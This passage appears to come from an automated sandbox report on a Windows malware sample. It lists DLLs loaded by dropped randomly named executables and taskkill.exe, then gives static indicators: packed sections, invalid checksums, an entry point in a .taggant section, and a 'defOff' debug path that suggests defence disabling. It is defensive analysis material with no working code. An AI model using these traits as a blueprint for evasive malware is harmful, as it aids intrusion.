Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: file.exe Static file information: File size 2970624 > 1048576
Source: file.exe Static PE information: Raw size of rouvladw is bigger than: 0x100000 < 0x2a9a00
Source: Binary string: my_library.pdbU source: cc6c7213b6.exe, 00000010.00000003.2171127165.00000000051EB000.00000004.00001000.00020000.00000000.sdmp, cc6c7213b6.exe, 00000010.00000002.2217073879.0000000000D4C000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: my_library.pdb source: cc6c7213b6.exe, 00000010.00000003.2171127165.00000000051EB000.00000004.00001000.00020000.00000000.sdmp, cc6c7213b6.exe, 00000010.00000002.2217073879.0000000000D4C000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: OR17DXDL5BQ5H62NVD1DH.exe, 00000003.00000003.1631060528.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, OR17DXDL5BQ5H62NVD1DH.exe, 00000003.00000002.1704913187.0000000000042000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Unpacked PE file: 3.2.OR17DXDL5BQ5H62NVD1DH.exe.40000.0.unpack :EW;.rsrc:W;.idata :W;xvdkgajj:EW;onewofgx:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Unpacked PE file: 4.2.XVTAV824L7GG4HFUZ6DTK345T.exe.410000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dpsjfuxk:EW;eidnloli:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dpsjfuxk:EW;eidnloli:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 9.2.skotes.exe.200000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dpsjfuxk:EW;eidnloli:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dpsjfuxk:EW;eidnloli:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 10.2.skotes.exe.200000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dpsjfuxk:EW;eidnloli:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dpsjfuxk:EW;eidnloli:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Unpacked PE file: 16.2.cc6c7213b6.exe.d20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;lolfhxxi:EW;swlqukzj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;lolfhxxi:EW;swlqukzj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Unpacked PE file: 37.2.cc6c7213b6.exe.d20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;lolfhxxi:EW;swlqukzj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;lolfhxxi:EW;swlqukzj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe Unpacked PE file: 40.2.PK29CODQN9XEGX33RPZ17G59EIZ.exe.6b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dpsjfuxk:EW;eidnloli:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dpsjfuxk:EW;eidnloli:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: random[1].exe.13.dr Static PE information: real checksum: 0x2e2b96 should be: 0x2ddc75
Source: cc6c7213b6.exe.13.dr Static PE information: real checksum: 0x2040e8 should be: 0x2032cf
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: real checksum: 0x1d7336 should be: 0x1da440
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: real checksum: 0x1d7336 should be: 0x1da440
Source: num.exe.13.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: random[1].exe0.13.dr Static PE information: real checksum: 0x2040e8 should be: 0x2032cf
Source: 3TJFBHTBUJ4JRCME5DZP9K.exe.15.dr Static PE information: real checksum: 0x2a66af should be: 0x2a3e67
Source: skotes.exe.4.dr Static PE information: real checksum: 0x1d7336 should be: 0x1da440
Source: QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe.25.dr Static PE information: real checksum: 0x2a66af should be: 0x2a3e67
Source: file.exe Static PE information: real checksum: 0x2e2b96 should be: 0x2ddc75
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: real checksum: 0x1d7336 should be: 0x1da440
Source: 51c532c207.exe.13.dr Static PE information: real checksum: 0x2e2b96 should be: 0x2ddc75
Source: num[1].exe.13.dr Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: OR17DXDL5BQ5H62NVD1DH.exe.0.dr Static PE information: real checksum: 0x2a66af should be: 0x2a3e67
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: rouvladw
Source: file.exe Static PE information: section name: uymctbve
Source: file.exe Static PE information: section name: .taggant
Source: OR17DXDL5BQ5H62NVD1DH.exe.0.dr Static PE information: section name:
Source: OR17DXDL5BQ5H62NVD1DH.exe.0.dr Static PE information: section name: .idata
Source: OR17DXDL5BQ5H62NVD1DH.exe.0.dr Static PE information: section name: xvdkgajj
